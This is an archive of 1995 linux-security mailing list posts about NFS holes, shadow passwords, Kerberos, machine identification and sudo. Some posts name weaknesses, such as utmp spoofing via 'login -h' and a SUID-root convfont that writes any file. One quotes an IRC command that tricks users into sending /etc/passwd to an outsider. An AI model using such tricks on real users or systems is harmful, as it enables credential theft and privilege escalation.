sun1000.ci.pwr.wroc.pl (8.6.10/8.6.10) with SMTP id PAA16152 for ; Tue, 7 Mar 1995 15:55:48 +0100 Subject: Re: NFS server To: [email protected] Date: Tue, 7 Mar 1995 15:50:57 +0100 (MEZ) From: Marek Michalkiewicz In-Reply-To: <[email protected]> from "Thomas Koenig" at Mar 7, 95 02:30:14 am X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1061 Message-ID: <[email protected]> Sender: [email protected] Precedence: list Reply-To: [email protected] > Known holes are, or have been: > > - Portmapper hole with forwarding; fixed by Vietse Venema's secure > portmapper. > > - Read-only export doesn't work, it is only parsed. > > - user can kill of nfsd > > - squash_root doesn't work > > (all of these in addition to the usual NFS holes). Maybe not a hole, but... map_daemon is documented in the man page, but doesn't work too (it is only parsed). On the other hand, read-only export seems to work - but I'm not sure if it really works all the time: after looking at the source I found that nfsd_nfsproc_write_2 doesn't call check_ro_attrib() even though other nfsd_nfsproc_* functions (which need to write to disk) do. If you are only using NFS for /usr and other read-only things, you could make it more secure - well, at least maybe less insecure :) - by running as non-root. It is possible because port 2049 > 1024. It will then not be able to change its uid, of course. Works at least for me... Regards, -- Marek Michalkiewicz [email protected] || [email protected] From [email protected] Tue Mar 7 12:05:04 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA06027; Tue, 7 Mar 1995 12:03:23 -0500 Received: from VNET.IBM.COM (vnet.ibm.com [199.171.26.4]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id KAA05199; Tue, 7 Mar 1995 10:14:53 -0500 Received: from BTV by VNET.IBM.COM (IBM VM SMTP V2R2) with BSMTP id 5656; Tue, 07 Mar 95 10:14:41 EST Received: by BTV (XAGENTA 4.0) id 2280; Tue, 7 Mar 1995 10:14:32 -0500 Received: from fangorn.btv.ibm.com by btv.ibm.com (AIX 3.2/UCB 5.64/1.9) id ; Tue, 7 Mar 1995 10:14:23 -0500 Received: by btv.ibm.com (AIX 3.2/UCB 5.64/fs4.03) id AA25897; Tue, 7 Mar 1995 10:14:23 -0500 Message-Id: <[email protected]> X-Mailer: exmh version 1.6alpha 2/16/95 To: [email protected] Subject: Re: Sh*dow Passwords? In-Reply-To: <[email protected]> Date: Tue, 07 Mar 1995 10:14:21 -0500 From: "Frank Swasey" Sender: [email protected] Precedence: list Reply-To: [email protected] >> >> Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the >> whole damned thing, and tell John to shove it. The current shadow package >> is a monster, there is no reason it can't be 1/2 to 1/3 the size it >> currently is. As someone who is a programmer and has not even looked at the shadow code in over a year (and never seriously studied it at all) -- I'd volunteer to work on the programming side of this. Anyone want to map out ideas of how to do this? Frank -- e-mail: [email protected], [email protected] Tel: 802-769-4011 (tie: 446), Fax: 802-769-4253 (tie: 446) From [email protected] Tue Mar 7 12:05:17 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA06037; Tue, 7 Mar 1995 12:03:49 -0500 Received: from sun1000.ci.pwr.wroc.pl (sun1000.ci.pwr.wroc.pl [156.17.5.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id KAA05336; Tue, 7 Mar 1995 10:36:11 -0500 Received: from ci3ux.ci.pwr.wroc.pl (ci3ux.ci.pwr.wroc.pl [156.17.10.3]) by sun1000.ci.pwr.wroc.pl (8.6.10/8.6.10) with SMTP id QAA17627 for ; Tue, 7 Mar 1995 16:33:42 +0100 Subject: Re: Sh*dow Passwords? To: [email protected] Date: Tue, 7 Mar 1995 16:28:52 +0100 (MEZ) From: Marek Michalkiewicz In-Reply-To: from "Daniel Hollis" at Mar 6, 95 08:19:18 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 1639 Message-ID: <[email protected]> Sender: [email protected] Precedence: list Reply-To: [email protected] > Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the > whole damned thing, and tell John to shove it. The current shadow package > is a monster, there is no reason it can't be 1/2 to 1/3 the size it > currently is. I think I might volunteer to help with this. I have spent quite some time reading the source of shadow suite and fixing some bugs... (These fixes are not released yet, please be patient.) > Does anyone know of weaknesses in the shadow package? Shortcomings? It > would be a chance to correct them, if any -- and have a freely > redistributable shadow package. One bug worth mentioning: "login -h hostname" works for non-root! I'm not sure if this is a hole, but it is not possible with the standard non-shadow login. This will change your utmp entry - it looks like you are logged in from a host you specified. Just a thought: to stop the whole mess with separate shadow/non-shadow binaries, we could do this: make them all shadow-aware, but if there is no shadow password, use the non-shadow one instead. Something like this: pw = getpwnam(username); if (pw) { struct spwd *sp = getspnam(username); if (sp) { pw->pw_passwd = sp->sp_pwdp; if (isexpired(pw, sp)) { /* do something about this... */ } } } Then the same binaries (ftpd, pop3d, rexecd, xdm, xlock, ...) could be used with non-shadow and shadow passwords. What do you think about that? Sorry if this is not the correct place for such detailed discussion - maybe we should create a new mailing list for this? Regards, -- Marek Michalkiewicz [email protected] || [email protected] From [email protected] Tue Mar 7 12:22:33 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id MAA06227; Tue, 7 Mar 1995 12:22:12 -0500 Received: from cais.cais.com (cais.com [199.0.216.4]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id LAA05891; Tue, 7 Mar 1995 11:44:54 -0500 Received: from cais2.cais.com (cais2.cais.com [199.0.216.200]) by cais.cais.com (8.6.5/8.6.5) with ESMTP id LAA23788; Tue, 7 Mar 1995 11:44:53 -0500 Received: from localhost (jsdy@localhost) by cais2.cais.com (8.6.5/8.6.5) id LAA13485; Tue, 7 Mar 1995 11:44:52 -0500 Date: Tue, 7 Mar 1995 11:44:52 -0500 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected] Subject: Re: Secure setup for file transfer Cc: [email protected] Sender: [email protected] Precedence: list Reply-To: [email protected] I'm sure folks will correct me if I'm wrong, but aren't BIOS values just stamped into the BIOS chips identically per run? So, the idea of a function based on values read from the BIOS and the non-volatile memory would very likely return identical values from identical machines. This doesn't give us a very secure ID. If they're all on a net, one way that's been used is to use the hardware ethernet address [MAC?] on the ethernet board. I don't know whether the other network types have unique hardware addresses on board. If the network type [ISDN?] doesn't use boards with unique hardware identifiers, then IMHO what needs to be done is manually provide each system with a unique, hard-to-guess identifier. This has the advantage that hardware changes to the system don't require re-identifying the system. It has the disadvantage that the identifier has to be sent to the user, and then stored by that user, which increases the likelihood of interception. How does Kerberos do this? If I remember right, it uses user identification, not machine identification. I suppose that putting Kerberos on the MS-Windows machines is not an option. [;-)] Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Tue Mar 7 13:07:14 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA06713; Tue, 7 Mar 1995 13:05:17 -0500 Received: from po7.andrew.cmu.edu (PO7.ANDREW.CMU.EDU [128.2.10.107]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id IAA03904; Tue, 7 Mar 1995 08:37:07 -0500 Received: (from postman@localhost) by po7.andrew.cmu.edu (8.6.9/8.6.9) id IAA02039 for [email protected]; Tue, 7 Mar 1995 08:36:58 -0500 Received: via switchmail; Tue, 7 Mar 1995 08:36:56 -0500 (EST) Received: from unix21.andrew.cmu.edu via qmail ID ; Tue, 7 Mar 1995 08:35:49 -0500 (EST) Received: from unix21.andrew.cmu.edu via qmail ID ; Tue, 7 Mar 1995 08:35:47 -0500 (EST) Received: from BatMail.robin.v2.14.CUILIB.3.45.SNAP.NOT.LINKED.unix21.andrew.cmu.edu.sun4c.411 via MS.5.6.unix21.andrew.cmu.edu.sun4c_411; Tue, 7 Mar 1995 08:35:47 -0500 (EST) Message-ID: Date: Tue, 7 Mar 1995 08:35:47 -0500 (EST) From: "Brian E. Gallew" To: [email protected] Subject: Re: Secure setup for file transfer In-Reply-To: References: Sender: [email protected] Precedence: list Reply-To: [email protected] If you don't mind the effort of setting things up, public-key encryption isn't a bad thing, and PGP has the necessary hooks. Of course, you can't export your distribution setup out of the country, but I don't know of any limitation on distribution of encrypted materials (e.g. the public key you'll embed in the client software). ===================================================================== | It's nice to be important, but it's *important* to suck up to the | | sysadmin -- Me | ===================================================================== | Finger [email protected] for my public key. | ===================================================================== From [email protected] Tue Mar 7 13:36:06 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA07285; Tue, 7 Mar 1995 13:35:32 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id NAA07213; Tue, 7 Mar 1995 13:33:15 -0500 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rm3cS-0005B2C; Tue, 7 Mar 95 19:04 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rm3t4-000KjbC; Tue, 7 Mar 95 19:21 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: Shadow discussions To: [email protected] Date: Tue, 7 Mar 1995 19:21:37 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 647 Sender: [email protected] Precedence: list Reply-To: [email protected] Hello all, I have the feeling this discussion about shadow passwords is not leading anywhere useful at the moment. As Rik explained, there are good reasons why the shadow suite has been removed from most Linux distributions, and I would expect things to stay that way. There are better alternatives; proactive checking being but one. Another is Kerberos. Please let's stop this discussion, at least as far as it's only concerned with why shadow passwords are better than plain passwd. Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax From [email protected] Tue Mar 7 15:17:47 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA08458; Tue, 7 Mar 1995 15:16:52 -0500 Received: from alink-gw.apple.com (alink-gw.apple.com [17.255.0.18]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id MAA06487; Tue, 7 Mar 1995 12:47:29 -0500 Received: from federal-excess.apple.com by alink-gw.apple.com with SMTP (921113.SGI.UNSUPPORTED_PROTOTYPE/7-Oct-1993-eef) id AA02614; Tue, 7 Mar 95 09:47:27 -0800 for [email protected] Received: from newton.apple.com by federal-excess.apple.com (5.0/1-Nov-1994-eef) id AA21965; Tue, 7 Mar 1995 09:46:03 +0800 for [email protected] Received: from [17.205.4.52] (thompson-bruce.apple.com) by newton.apple.com (4.1/SMI-4.1) id AA06996; Tue, 7 Mar 95 09:47:22 PST Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 7 Mar 1995 09:47:26 -0800 To: [email protected] From: [email protected] (Bruce Thompson) Subject: Re: Shadow Passwords? Content-Length: 2823 Sender: [email protected] Precedence: list Reply-To: [email protected] >Date: Mon, 6 Mar 1995 19:59:16 -0500 >From: Rik Faith > >In general the "shadow password" technique is set up as follows: For all >entries in the /etc/passwd file, the encrypted passwords are moved to >another file, such as /etc/shadow. While /etc/passwd needs to be readable >by the anyone on the system, /etc/shadow needs only to be readable by a >restricted group, perhaps only the superuser. This is supposed to keep >adversaries from obtaining the encrypted password list and running a >dictionary attack against it. > >This idea of "information hiding" is one of many techniques that broadly >fit under the category of "security through obscurity." Based on people >who I have talked with in the Linux community, there are two main opinions >about "security through obscurity": 1) it might help and it can't hurt, so >let's use it; and 2) it actually can hurt because it provides a false sense >of security and should not be used. > [ I've cut out a whole section on why a proactive password program is a good thing. My comments are _not_ directed towards that section, which I whole-heartedly agree with. ] Though I don't necessarily endorse the particular implementation of shadow passwords under discussion, I must disagree with some of the analysis above. The whole point of shadow passwords are to prevent _unprivileged_ access to the encrypted passwords. If an attacker has root access, your system is already compromised. It no longer matters whether the attacker can see the encrypted passwords. If an unprivileged attacker cannot read the encrypted passwords, then a dictionary attack cannot be attempted. Preventing a dictionary attack closes one of the biggest holes in password security. This should not be confused with so-called "security by obscurity". In common usage, "security by obscurity" relates to the practice of not publishing details of how to exploit weaknesses in various system. For example, the infamous DEBUG bug in Sendmail of a few years ago could be exploited by _unprivileged_ users to gain root access to a system. Relying on the fact that few people knew how to exploit the bug is "security by obscurity". The information hiding that a shadow suite provides is, most emphaticly not. In general, "security by obscurity" is a smokescreen, no substance. A shadow suite however does indeed provide some real protection. Cheers, Bruce. ----------------------------------------------------------------------------- Bruce Thompson | "Never put off until tomorrow what you can PIE Developer Information Group | comfortably put off til next week" Apple Computer Inc. | -- Unknown 408 974 8018 | [email protected] | AppleLink: bthompson | From [email protected] Tue Mar 7 15:17:56 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA08467; Tue, 7 Mar 1995 15:17:46 -0500 Received: from oden.oso.chalmers.se (oden.oso.chalmers.se [129.16.208.10]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id NAA07506; Tue, 7 Mar 1995 13:58:12 -0500 Received: by oden.oso.chalmers.se (5.64/0.0) id AA21110; Tue, 7 Mar 95 19:58:03 +0100 From: [email protected] (Rafal Maszkowski) Message-Id: <[email protected]> Subject: Re: Sh*dow Passwords? To: [email protected] Date: Tue, 7 Mar 1995 19:58:02 +0100 (MET) In-Reply-To: <[email protected]> from "Marek Michalkiewicz" at Mar 7, 95 04:28:52 pm X-Acknowledge-To: Latin-Date: Marti VII Martie A.D. MCMXCV X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 992 Sender: [email protected] Precedence: list Reply-To: [email protected] Marek Michalkiewicz writes: > > Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the > > whole damned thing, and tell John to shove it. The current shadow package > > is a monster, there is no reason it can't be 1/2 to 1/3 the size it > > currently is. > I think I might volunteer to help with this. I have spent quite some time > reading the source of shadow suite and fixing some bugs... (These fixes > are not released yet, please be patient.) Wonderful! Can you write it without using non-GPL code? > Just a thought: to stop the whole mess with separate shadow/non-shadow > binaries, we could do this: make them all shadow-aware, but if there is > no shadow password, use the non-shadow one instead. Something like this: Probably better way is to do the same in libraries. Isn't it there already? R. -- Rafal Maszkowski [email protected] http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From [email protected] Tue Mar 7 15:18:07 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA08477; Tue, 7 Mar 1995 15:17:56 -0500 Received: from iiit.swan.ac.uk (iifeak.swan.ac.uk [137.44.100.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id NAA06915; Tue, 7 Mar 1995 13:13:47 -0500 Message-Id: From: [email protected] (Alan Cox) Subject: Re: Secure setup for file transfer To: [email protected] Date: Tue, 7 Mar 1995 18:13:36 +0000 (GMT) Cc: [email protected] In-Reply-To: <[email protected]> from "Joseph S. D. Yao" at Mar 7, 95 11:44:52 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 238 Sender: [email protected] Precedence: list Reply-To: [email protected] > How does Kerberos do this? If I remember right, it uses user > identification, not machine identification. I suppose that putting > Kerberos on the MS-Windows machines is not an option. [;-)] PC/TCP seems to support kerberos Alan From [email protected] Tue Mar 7 15:41:09 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA08714; Tue, 7 Mar 1995 15:40:44 -0500 From: [email protected] Message-Id: <[email protected]> >From: Dan Crowson To: [email protected] Subject: Re: Sh*dow Passwords? Date: Tue, 7 Mar 1995 14:29:39 -0600 (CST) Sender: [email protected] Precedence: list Reply-To: [email protected] > > > >> > >> Yes, this would be very nice. Rewrite the shadow suite from scratch, GPL the > >> whole damned thing, and tell John to shove it. The current shadow package > >> is a monster, there is no reason it can't be 1/2 to 1/3 the size it > >> currently is. > > As someone who is a programmer and has not even looked at the shadow code in > over a year (and never seriously studied it at all) -- I'd volunteer to work on > the programming side of this. > > Anyone want to map out ideas of how to do this? > I'd also be interested in helping out on this, too. Thanks, Dan -- --------------------------------------------------------------------------- Dan Crowson | [email protected] CMS Communications, Inc. | [email protected] 715 Goddard Ave | [email protected] Chesterfield MO 63005 | ^-- mail me here 1st --------------------------------------------------------------------------- From [email protected] Tue Mar 7 17:33:44 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA10008; Tue, 7 Mar 1995 17:31:29 -0500 Received: from alfred.ccs.carleton.ca (alfred.ccs.carleton.ca [134.117.1.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id MAA06204; Tue, 7 Mar 1995 12:18:52 -0500 Received: from superior (superior.ccs.carleton.ca) by alfred.ccs.carleton.ca (4.1/SMI-4.0) id AA21647; Tue, 7 Mar 95 12:18:45 EST Received: by superior (4.1/Sun-Client) id AA15576; Tue, 7 Mar 95 12:17:07 EST Date: Tue, 7 Mar 1995 12:17:05 -0500 (EST) From: Rob Hardy Subject: Anyone get Sudo working w/ Shadow? To: [email protected] In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] [Mod: Please see note at end--it's from an e-mail between us and clarifies the question that he's asking a bit better. (Sounds like sloppy code somewhere to me.) --Jeff.] I've been trying for awhile to get sudo to work with shadow passwords. The package says it already supports shadow but it doesn't work. When I recompile the sudo I get a warning on the line where the actual checking of the password occurs. That's line 243 of check.c. The warning is something like attempting to set a pointer to an integer without a cast. Has anyone got this working? Can someone fix this problem? I'd be glad to mail anyone check.c if anyone can spare 2 minutes to check it out. -- ----------------------------------------------------------------------- Robert Hardy Home:(613)226-2326 CCS Computer Consultant 2nd Year Systems Engineering @ Carleton University, Ottawa, Canada Email: (robert@doe|robert@aurora|aa617@freenet)+.carleton.ca "Linux the Choice of a GNU Generation!" ----------------------------------------------------------------------- [Some additional information] [T]he compile doesn't fail. [...] [T]he warning is on the line where the comparision occurs. Since sudo fails to do the comparison properly w/ shadow it seem to be a likely place for the problem to be. I'd still like to know whether anyone has gotten sudo working with shadow password which was really the whole point of posting it to the security list. From [email protected] Tue Mar 7 18:39:29 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id SAA00247; Tue, 7 Mar 1995 18:33:20 -0500 Received: from MIT.EDU (PACIFIC-CARRIER-ANNEX.MIT.EDU [18.72.0.21]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id QAA09796; Tue, 7 Mar 1995 16:56:07 -0500 From: [email protected] Received: from josquin.media.mit.edu by MIT.EDU with SMTP id AA07588; Tue, 7 Mar 95 16:56:05 EST Received: by josquin.media.mit.edu (5.65/DA.WS.1.0.5) id AA05209; Tue, 7 Mar 1995 16:55:49 -0500 Date: Tue, 7 Mar 1995 16:55:49 -0500 Message-Id: <[email protected]> To: [email protected] (Alan Cox) Cc: [email protected], [email protected] In-Reply-To: "[51] in linux-security and linux-alert archive" Subject: Re: Secure setup for file transfer Sender: [email protected] Precedence: list Reply-To: [email protected] > > How does Kerberos do this? If I remember right, it uses user > > identification, not machine identification. I suppose that putting > > Kerberos on the MS-Windows machines is not an option. [;-)] > > PC/TCP seems to support kerberos Actually, Kerberos uses entity identification, where an entity can be a user or a service. For example, the pop service on machine po6.mit.edu has the kerberos name [email protected]. When I go to get my mail from this service, I have to authenticate myself to this service, but I can also request that the service authenticate back to me (mutual authentication). You can read about this from the Kerberos docs in the directory ftp://athena-dist.mit.edu/pub/ATHENA/kerberos/doc -derek -- Derek Atkins, SB '93 MIT EE, G MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) Home page: http://www.mit.edu:8001/people/warlord/home_page.html [email protected] PP-ASEL N1NWH PGP key available From [email protected] Tue Mar 7 18:39:29 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id SAA00254; Tue, 7 Mar 1995 18:33:31 -0500 Received: from cais.cais.com (cais.com [199.0.216.4]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id SAA11866; Tue, 7 Mar 1995 18:16:45 -0500 Received: from cais2.cais.com (cais2.cais.com [199.0.216.200]) by cais.cais.com (8.6.5/8.6.5) with ESMTP id SAA29688 for ; Tue, 7 Mar 1995 18:16:44 -0500 Received: from localhost (jsdy@localhost) by cais2.cais.com (8.6.5/8.6.5) id SAA25789 for [email protected]; Tue, 7 Mar 1995 18:16:43 -0500 Date: Tue, 7 Mar 1995 18:16:43 -0500 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected] Subject: Re: Sh*dow Passwords? Sender: [email protected] Precedence: list Reply-To: [email protected] Marek Michalkiewicz wrote: > > . Rewrite the shadow suite from scratch, ... > I think I might volunteer to help with this. I have spent quite some time > reading the source of shadow suite and fixing some bugs... (These fixes > are not released yet, please be patient.) Problem: if you have worked extensively with the source code, and it is under legal protection, then it is possible for the author of the original code to claim that your code is a "derivative work." This is the argument AT&T was using against Berkeley, which is why some of us walked around for a while wearing buttons that said [something like] "My mind has been contaminated." (My button's off in a box somewhere.) > Just a thought: to stop the whole mess with separate shadow/non-shadow > binaries, we could do this: make them all shadow-aware, but if there is > no shadow password, use the non-shadow one instead. Something like this: It should've been done that way to begin with, in the shadow routines. Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Tue Mar 7 19:05:48 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA00817; Tue, 7 Mar 1995 19:04:16 -0500 Received: from cais.cais.com (cais.com [199.0.216.4]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id RAA10409; Tue, 7 Mar 1995 17:59:11 -0500 Received: from cais2.cais.com (cais2.cais.com [199.0.216.200]) by cais.cais.com (8.6.5/8.6.5) with ESMTP id RAA28307; Tue, 7 Mar 1995 17:59:11 -0500 Received: from localhost (jsdy@localhost) by cais2.cais.com (8.6.5/8.6.5) id RAA25296; Tue, 7 Mar 1995 17:59:10 -0500 Date: Tue, 7 Mar 1995 17:59:10 -0500 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected] Subject: Re: Secure setup for file transfer Cc: [email protected] Sender: [email protected] Precedence: list Reply-To: [email protected] > > I'm sure folks will correct me if I'm wrong, but aren't BIOS values > > just stamped into the BIOS chips identically per run? So, the idea of > > a function based on values read from the BIOS and the non-volatile > > memory would very likely return identical values from identical > > machines. This doesn't give us a very secure ID. > > Yes. That is why I use the disk parametes. They DO change. If two machines are identical, they'll have identical disks with identical parameters. Or am I missing something? Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Tue Mar 7 19:16:02 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id TAA00922; Tue, 7 Mar 1995 19:14:36 -0500 Received: from smtp.utexas.edu (smtp.utexas.edu [128.83.126.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id JAA04269; Tue, 7 Mar 1995 09:30:47 -0500 Received: from mail.utexas.edu (mail.utexas.edu [128.83.126.1]) by smtp.utexas.edu (8.6.7/8.6.6) with ESMTP id IAA16313 for ; Tue, 7 Mar 1995 08:27:32 -0600 Received: from slip-10-14.ots.utexas.edu ([email protected] [128.83.128.94]) by mail.utexas.edu (8.6.9/8.6.6) with SMTP id IAA20055; Tue, 7 Mar 1995 08:25:55 -0600 Date: Tue, 7 Mar 1995 08:25:58 -0600 (CST) From: lilo X-Sender: [email protected] To: [email protected] cc: [email protected] Subject: Re: Shadow Passwords? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Tue, 7 Mar 1995, Piers Cawley wrote: > On Mon, 6 Mar 1995, Daniel Hollis wrote: > > Indeed. We run an ISP and have around 250 accounts. It doesn't take much > > for an outsider to coerce one of your newbie users to send them a copy of > > /etc/passwd by telling them to "/dcc send dork /etc/passwd" from IRC. > > Consider running as a slip/ppp only site... We don't give our users shell > accounts at all... This is a good idea, but it's sort of a separate issue.... lilo -- [Mod: I agree completely. Let's not head down the path of what sort of site to run. Further posts in this vein will not be approved! --Jeff.] linux-security/1995/linux-security.950308100664 1767 1767 100507 5730454677 17316 0ustar majdommajdomFrom [email protected] Wed Mar 8 03:20:43 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id DAA06737; Wed, 8 Mar 1995 03:20:08 -0500 Received: from dhp.com (dhp.com [199.234.136.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id RAA10311; Tue, 7 Mar 1995 17:56:40 -0500 Received: (from panzer@localhost) by dhp.com (8.6.10/8.6.9) id RAA06478; Tue, 7 Mar 1995 17:55:56 -0500 To: [email protected] Path: dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: Secure setup for file transfer Date: 7 Mar 1995 17:55:54 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 30 Message-ID: <[email protected]> References: <[email protected]> X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Reply-To: [email protected] >From dhp.com!dhp.com!not-for-mail Tue Mar 7 17:54:54 1995 Path: dhp.com!dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: Secure setup for file transfer Date: 7 Mar 1995 17:51:34 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 18 Message-ID: <[email protected]> References: <[email protected]> NNTP-Posting-Host: localhost X-Newsreader: TIN [version 1.2 PL2] Joseph S. D. Yao ([email protected]) wrote: : If they're all on a net, one way that's been used is to use the : hardware ethernet address [MAC?] on the ethernet board. I don't know : whether the other network types have unique hardware addresses on : board. MAC addresses are easy to change on 99% of the boards out there. HOSTID's are easy to change on Suns, as there are a few programs to even automate this task for you. How about we stick to linux security on this list. For starters people should read bugtraq also. OB linux-security, SVGAlib with convfont being SUID root. Allows you to write any files as root. -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Wed Mar 8 05:34:36 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id FAA07555; Wed, 8 Mar 1995 05:33:35 -0500 Received: from hq.jcic.org (hq.jcic.org [198.68.11.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id AAA03874; Wed, 8 Mar 1995 00:01:14 -0500 Received: by hq.jcic.org (Linux Smail3.1.29.1 #3) id m0rmDs1-000xCiC; Tue, 7 Mar 95 21:01 PST Message-Id: From: [email protected] (Daniel Hollis) Subject: Re: Shadow discussions To: [email protected] Date: Tue, 7 Mar 1995 21:01:13 -0800 (PST) In-Reply-To: from "Olaf Kirch" at Mar 7, 95 07:21:37 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: [email protected] Precedence: list Reply-To: [email protected] [mod: people who wonder why Linux has no shadow support should take a look at linux-gcc. There's a very educating discussion going on. --okir] > I have the feeling this discussion about shadow passwords is not > leading anywhere useful at the moment. As Rik explained, there are > good reasons why the shadow suite has been removed from most Linux > distributions, and I would expect things to stay that way. There are > better alternatives; proactive checking being but one. Another is > Kerberos. > > Please let's stop this discussion, at least as far as it's only > concerned with why shadow passwords are better than plain passwd. Olaf, just to get this discussion out of your hair, I will start up a gpl-shadow mailing list. Anyone who wants to join the mailing list just send me email and I will add you to the list. That way we can discuss the possibility of doing a gpl shadow suite without bothering Olaf ;) -Dan ------------------------------------------------------------------------------ Dan Hollis | Seiyuu Daisuki! | mokkori.jcic.org servers: JCIC System Administrator | Orikasa Ai | http:LPA-HOWTO (Linux page) http://www.jcic.org/ | Yokoyama Chisa | http:SM.html (SM Records page) [email protected] | (~(^_^)~) | Ztalk (Internet voice mail) ------------------------------------------------------------------------------ From [email protected] Wed Mar 8 05:36:38 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id FAA07672; Wed, 8 Mar 1995 05:36:32 -0500 Received: from troll.apana.org.au (troll.apana.org.au [203.3.126.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id XAA03527; Tue, 7 Mar 1995 23:52:10 -0500 Received: from abyss.apana.org.au ([email protected] [203.3.126.145]) by troll.apana.org.au (8.6.9/8.6.6) with ESMTP id PAA10465 for ; Wed, 8 Mar 1995 15:00:45 +1000 Received: (from morlok@localhost) by abyss.apana.org.au (8.6.10/8.6.6) id OAA00933 for [email protected]; Wed, 8 Mar 1995 14:38:18 GMT From: Ed Beaumont Posted-Date: Wed, 8 Mar 1995 14:38:18 GMT Message-Id: <[email protected]> Subject: Re: Shadow discussions To: [email protected] Date: Wed, 8 Mar 1995 14:38:18 +0000 (GMT) In-Reply-To: from "Olaf Kirch" at Mar 7, 95 07:21:37 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 882 Sender: [email protected] Precedence: list Reply-To: [email protected] > I have the feeling this discussion about shadow passwords is not > leading anywhere useful at the moment. As Rik explained, there are > good reasons why the shadow suite has been removed from most Linux > distributions, and I would expect things to stay that way. There are > better alternatives; proactive checking being but one. Another is > Kerberos. I agree with this entirely, and politely request that anymore discussion to be directed to comp.os.linux.admin. I am sorry I responded to the initial post, I didnt think it would last this long. Appologies to all. -- Morlok (Ed Beaumont) ----------------- UUCP Coordinator - APANA Brisbane "The Eagle may soar, but a weasel | ([email protected]) never gets sucked into a jet engine" | System Operator of Abyss APANA Site Simon & Simon + ([email protected]) From [email protected] Wed Mar 8 10:38:45 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id KAA10070; Wed, 8 Mar 1995 10:36:35 -0500 Received: from thdsun.epm.ornl.gov 